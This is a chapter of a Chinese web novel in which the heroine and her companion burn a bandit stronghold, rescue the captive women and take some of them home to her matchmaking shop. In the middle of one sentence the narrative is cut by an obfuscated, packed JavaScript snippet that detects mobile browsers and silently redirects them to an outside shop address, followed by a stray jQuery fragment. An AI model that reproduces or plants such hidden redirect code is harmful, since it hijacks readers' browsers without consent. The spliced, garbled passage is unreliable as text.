“山上走水了!”
“好大的势头!”
“把那些强盗土匪烧死了才好呢!”
陈洺芷带着山寨里的女子走到山脚下的时候,身后的山寨已经燃起熊熊大火。
夜里有风,风借火势,经林过木,将草屑泥渣卷起来,漫山遍野飘散着人肉烧干的焦味和草木燃尽的呛人气味。
陈洺芷听着姑娘们的议论声,顿下脚步望向身后,原本规整大气的清风山寨如今被烧得不成样子,土匪的哀嚎声从山上飘出来,如同山野里的孤魂在嚎叫。
她微微蹙起眉头,袖袍里的手紧紧攥着,眼见着这些山匪命丧火海,虽心里明白他们做了不少坏事,如今算是死得其所了,可如今听着那些哭嚎,她还是心间不忍。
陈洺芷缄默地看着山寨,深吸几口气后,轻轻转身往驿站走。
心底被奇异的情绪缠着,心情格外沉重,陈洺芷领着这些女子回到驿站,驿丞已经睡了好一会,如今驿站前突然来了几百号人,惊得他从低矮木桌上站起来,打量着她们。
“诶。”他指指陈洺芷,“你带这么多女的回来是咋的了?把那山大王打死了?”
陈洺芷没说话,抬眼望着山寨方向,这火已经烧了一刻钟,却迟迟不见谢净的身影。
陈洺芷早已习惯和谢净一同做事,如今突然没有他相伴,竟然有些不适应。
明明这些年都是自己一个人讨生活的,可现在看不到他,为什么会觉得心慌呢?
碎嘴子的驿丞一直绕着她嘀咕,陈洺芷无心去听他在唠叨什么,昂首看着火光冲天的山顶,眯着眼睛寻找谢净的身影。
谢净已将山寨各处从外面封锁,这山寨的防御工事又做得不错,里面的山匪想要逃出来要费些功夫,因此陈洺芷本该很轻易便寻到谢净的身影。
可如今她又在这里矗了半刻钟,她心心念念的那人仍未出现。
难道迷路了?
陈洺芷搔搔头发。
或是走得慢了些?
陈洺芷焦虑地咬了咬唇。
莫非根本没逃出来?
想到这,陈洺芷开始小小地踱步,眉头皱在了一起,明眼人都能看出来她现在烦躁不安极了。
一旁的女子见她这神色,拉拉她的衣角,娇笑问道:“姊姊在忧心自家夫君?我看他身手那么好,应当不会有事。”
“是嘛是嘛,你夫君一定能平安出来的。”
众女议论纷纷,吵得她耳朵疼。
陈洺芷轻轻垂下眼睫,喃喃低语道:“不是夫君……”
后半句声音更小了,“是……很好的朋友。”
不知道是在与谁说。
山火越烧越烈,火光直映得陈洺芷面容模糊不清,她心乱如麻,手心早已出了一茬一茬的汗,却听得身后传来了一阵脚步声,还未等她转过身子,一阵炭草味便将她裹挟。
烟熏火燎的味道有些刺鼻,可陈洺芷并不排斥。
“我回来了。”
谢净站在她身后,低头在她耳边说了这句话。
滚烫的呼吸落在她的耳根,不知因为是热浪炙烤还是别的,陈洺芷的脖颈热得厉害,连着呼吸也在颤抖。
她僵僵地转过身看着他,确定这人没事后,微微偏了偏头,呼吸沉了沉。
谢净低头,借着火光看到了她眼里的泪花,无奈地笑了笑,想要抬手替她擦去,忽又想起来自己手上全是硝石味,便从袖袍里取了手帕来,一寸一寸地为她擦拭眉眼。
“阿芷。”
温吞的声音响起来,他执着手帕,垂眼看着她,指腹隔着绸制手帕,轻轻抚摸着她的眉眼,立在火光里,缱绻极了,“别担心我,我不会做没把握的事。”
陈洺芷抬眼了一瞬,恍惚间好像听到了自己湍急的心跳,忙又低下头去,在喉咙里闷闷地应了一声。
被救出来的女子们看他们这样,围了一圈,发出各种各样暧昧的起哄声。
陈洺芷被臊红了脸,从他的臂弯里别出来,轻轻推开他的手帕,小声说:“山匪都清干净了?”
“嗯,山寨里各样出口都被我封好了,想破开要点功夫,这寨子又修得高,他们不大能翻出来,怕是没几个人能逃出来,这一带算是能太平一些时日了。”
“那山火?”
“放心。”谢净看向山顶,“我已做好了隔离防护,山寨附近可燃的枯枝已被清得差不多了,这山头不会被烧毁的。”
陈洺芷这才松了口气,转向那些被救出来的女子,抬高声音:“姑娘们,如今从山匪寨里逃了出来,便各回各家吧,忘却这山寨里的腌臜事,安稳过日子罢!”
面前的女子个个站着不动,和陈洺芷大眼瞪小眼。
陈洺芷还以为是自己说错了话,呆呆地挠了挠头,“是我哪里说得不好吗?”
又是一片缄默。
陈洺芷咽了咽口水,小心翼翼地问:“你们怎么不走呀?如今你们是自由身了。”
莫非这些女子是被这些山匪困久了,脑袋不好使了?
“不,并非是我们不愿意回去。”
终于有人理她了。
陈洺芷一愣,“为何?”
被折磨了这么些时日,如今终于逃了出来,她本以为这些女子会欢欣雀跃,可如今每个人脸上的神色都格外凝重,唬人极了。
“我们这样被掳走的女子回到乡里,街坊都知道我们是被土匪玩弄过的,那流言能把人脊梁骨戳歪,我们怎么好意思回去呢?”
陈洺芷语凝,她竟是没想到这一层。
这乡里最重女子的名声,陈洺芷过了二十岁还未成家,便被碎嘴子的婆子们说得一无是处,更别说是山野里的村落了。
被土匪当作压寨夫人的女子,哪怕如今被救了出来,想必日后也不好过活。
这世道,女子本就难以维生,偏流言蜚语都指向这些苦命女子,直刺得人满身疮痍。
陈洺芷看着她们的眼眸,在火光映照下泛着微光,那些女子比她小上个几岁,瘦削又畏缩,不知若是回到家,又会被怎样处置。
当了这么些年红娘,陈洺芷知道,在这些农户家里,女儿们唯一的出路便是寻个好夫家,并非是说女子只有成婚这一条出路,可生在乡野人家,这是最妥当的路子了。
陈洺芷垂下眼睫,盯着自己的足尖发愣。
她方才已决定好了,日后不再心软,断不能多管闲事,可一想到这些女子回乡的处境,她竟无法转身离开。
谢净看着她扑挲的眼睫,轻扯她的衣角,将她带到了马车上。
唦。
车帘落下。
没有点灯,车厢里是昏暗的,这时候陈洺芷的呼吸便格外明显,深浅不一,分外焦急。
谢净看着她散落的头发,伸手替她理到一边,轻声道:“你想带她们一同走吗?”
陈洺芷被说中了心事,猛地抬眼,却又很快垂下眼眸,在黑暗里缄默着。
谢净知道她在纠结,拍拍她的发顶,从袖袍里取出前几日沈玉赠与的珍珠,轻轻塞进
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17775006|208621||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
陈洺芷怀中。
他宽慰她,“这颗珍珠,加上苏子滢许诺的五百两,够留她们过活几个月,既然你想帮她们离开这里,就不要再纠结。”
“阿芷。”他扣紧手指,语气顿了顿,“无论处境如何,无论你要做什么,我都会和你一起。”
他叹了口气,轻轻偏过脸去。
他不理解陈洺芷的热心肠,可她要做的事,他一定会同她一起做好。
摸索到袖袍深处,他又取出叮当作响的东西来。
落到陈洺芷掌心,是微凉的一些小玩意。
陈洺芷不解地接过来,对着微光看了好一会,才发觉那是一堆玉扳指玉手镯之类的东西。
“干什么?!”
她用足尖踢了踢他,试图把这些东西塞回去。
“你哪里来的这些珠宝首饰,一看就很贵,收回去收回去。”陈洺芷一个劲地往谢净怀里塞,眉头紧紧皱着,“之前已经让你当过一次东西了,我现在不要。”
“你听我说。”谢净轻轻捏住她的手腕,“这些东西能换很多钱,若是今日你带这些女子回去,日后处处都要花钱,一分一毫都是难挣的。”
他移到陈洺芷身边坐下,轻声说:“我知晓的,你不想欠我,我也不白借你,日后还是要你还我的,这样可好?”
他在黑夜里抿着唇,笑着看着她低头思索,半晌,她像只金丝鼠吞果干一样,将那些玉器首饰一件一件塞进自己的袖袍里,嘟囔着:“我会打欠条的。”
谢净应了好,随她一道下了马车。
这些女子中,愿意跟随陈洺芷离开的有八十来人,可都只是搭车去别的地方重新过日子,愿意与陈洺芷回红娘铺子的,正正好,只有二十个女子。
陈洺芷用随身的银两从临近镇子上借来了几辆马车,从山上救下来的女子,借着这些马车,回乡的回乡,赶路的赶路,待陈洺芷带着余下的女子行至清澜城内,已过了一天一夜。
——
辰时。
清澜城内。
夜色浓稠,马蹄划破沉寂,最终几架马车缓缓停在了陈洺芷的红娘铺子前。
她的铺子还是和过往一样,朴素干净,从外面看平平无奇,可推门进去便是雅致温馨的小院。
被她救出来女子跟着陈洺芷鱼贯而入,十几岁的女孩们新奇地在小院里转来转去,这地方虽不比大家豪宅,可比起来山野里的茅草土房,好了不止一星半点。
陈洺芷困得腿脚发软,却还是硬撑着眼皮,给这些女子分好了房间。
她之前都是一个人住,并没有多余的房间和被褥给她们,便只能勉强让女孩们几个人挤在一间房里,一间房送进去几床被子凑合一晚。
饶是挤作一团,小院里的空房也很快分完了。
在山匪寨子里吃了这么些天的苦,女孩们很快便挤在一起,安稳地睡着了。
陈洺芷终于得空歇息,一转身却看到谢净站在身后,幽怨地看着她,“我睡哪里?”
陈洺芷一顿,方才光顾着给姑娘们分房,忘了谢净这大男人了。
她抿了抿唇,扫了一下小院,已经没有空房间给谢净住了。
她怎的忘了这一茬。
谢净看着陈洺芷脸上的困意因为自己这番话烟消云散,蹙了蹙眉,轻声道:“无碍,我会马车上歇一晚罢。”
他转身欲走,却觉得身后有一只手轻轻扯了他一下。
回眸,瞥见陈洺芷水润的眼睛,她咬着下唇,喃喃道:“和我睡一间房吧。”